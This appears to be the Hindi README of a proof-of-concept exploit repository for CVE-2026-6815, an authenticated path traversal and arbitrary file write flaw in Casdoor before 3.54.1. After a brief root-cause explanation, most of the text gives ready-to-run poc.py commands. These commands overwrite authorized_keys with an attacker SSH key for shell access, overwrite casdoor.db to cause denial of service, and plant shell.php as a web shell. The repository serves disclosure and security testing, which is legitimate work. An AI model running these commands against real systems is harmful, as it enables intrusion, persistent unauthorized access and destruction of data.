
Casdoor <3.54.1 के लिए प्रमाणित पथ ट्रैवर्सल और मनमाना फ़ाइल लेखन PoC शोषण, SSH कुंजी इंजेक्शन, वेब शेल अपलोड, या डेटाबेस भ्रष्टाचार के माध्यम से लगातार DoS के माध्यम से RCE सक्षम करता है।
यह रिपॉजिटरी CVE-2026-6815 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) एक्सप्लॉइट रखती है, जो Casdoor में एक मनमाना फ़ाइल लेखन और पथ ट्रैवर्सल कमजोरी है।
कमजोरी को संस्करण 3.54.1 में ठीक कर दिया गया है।
हमलावर को Casdoor इंस्टेंस पर व्यवस्थापक विशेषाधिकारों या स्टोरेज प्रदाताओं को बनाने और/या संपादित करने की पहुंच वाले समकक्ष उपयोगकर्ता के साथ प्रमाणित होना चाहिए।
.ssh/authorized_keys, क्रॉनटैब, या वेबरूट जैसे संवेदनशील स्थानों पर लिखकर।casdoor.db) या कोर बाइनरी को मनमानी फ़ाइलों से अधिलेखित करके तुरंत एप्लिकेशन को रोकना।Casdoor व्यवस्थापकों को स्टोरेज प्रदाताओं को कॉन्फ़िगर करने की अनुमति देता है। स्थानीय फ़ाइल सिस्टम प्रदाता संसाधन अपलोड के दौरान pathPrefix कॉन्फ़िगरेशन और fullFilePath पैरामीटर को ठीक से सैनिटाइज़ करने में विफल रहता है।
निर्देशिका ट्रैवर्सल अनुक्रमों (../) का उपयोग करके, एक प्रमाणित व्यवस्थापक समर्पित स्टोरेज निर्देशिका से बच सकता है और फ़ाइलों को कहीं भी लिख सकता है जहाँ Casdoor प्रक्रिया की अनुमति है।
कमजोरी निम्नलिखित में अपर्याप्त पथ सत्यापन से उत्पन्न होती है:
object/provider.go: निर्माण/अद्यतन के दौरान pathPrefix पर कोई सत्यापन नहीं।storage/local_file_system.go: GetFullPath विधि यह सत्यापित नहीं करती कि हल किया गया पथ इच्छित सैंडबॉक्स के भीतर रहता है या नहीं।निर्भरताएँ स्थापित करें:
pip install -r requirements.txt
एक्सप्लॉइट चलाएँ:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
SSH पहुंच प्राप्त करने के लिए casdoor उपयोगकर्ता की authorized_keys फ़ाइल में हमलावर-नियंत्रित सार्वजनिक कुंजी लिखें।
ssh-key उत्पन्न करें:
ssh-keygen -f casdoor_rce
उत्पन्न सार्वजनिक कुंजी से authorized_keys को अधिलेखित करें:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
निजी कुंजी का उपयोग करके दूरस्थ होस्ट पर ssh शेल प्राप्त करें:
ssh -i ./casdoor_rce casdoor@target
सेवा से वंचित करने के लिए एप्लिकेशन की स्थानीय डेटाबेस फ़ाइल (जैसे, casdoor.db) को अधिलेखित करें।
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
यदि सर्वर एक ही फ़ाइल सिस्टम पर एक द्वितीयक वेब सर्वर (जैसे, Apache/Nginx) होस्ट कर रहा है, तो उसके दस्तावेज़ रूट में एक वेब शेल लिखें।
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
यदि आपके पास किसी विशिष्ट संगठन और एप्लिकेशन (डिफ़ॉल्ट built-in और app-built-in के अलावा) के लिए व्यवस्थापकीय क्रेडेंशियल हैं, तो उन्हें --orgname और --appname का उपयोग करके निर्दिष्ट करें।
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
यह सॉफ़्टवेयर केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
कमजोरी की खोज और PoC विकास Danilo Dell'Orco (sixpain) द्वारा किया गया।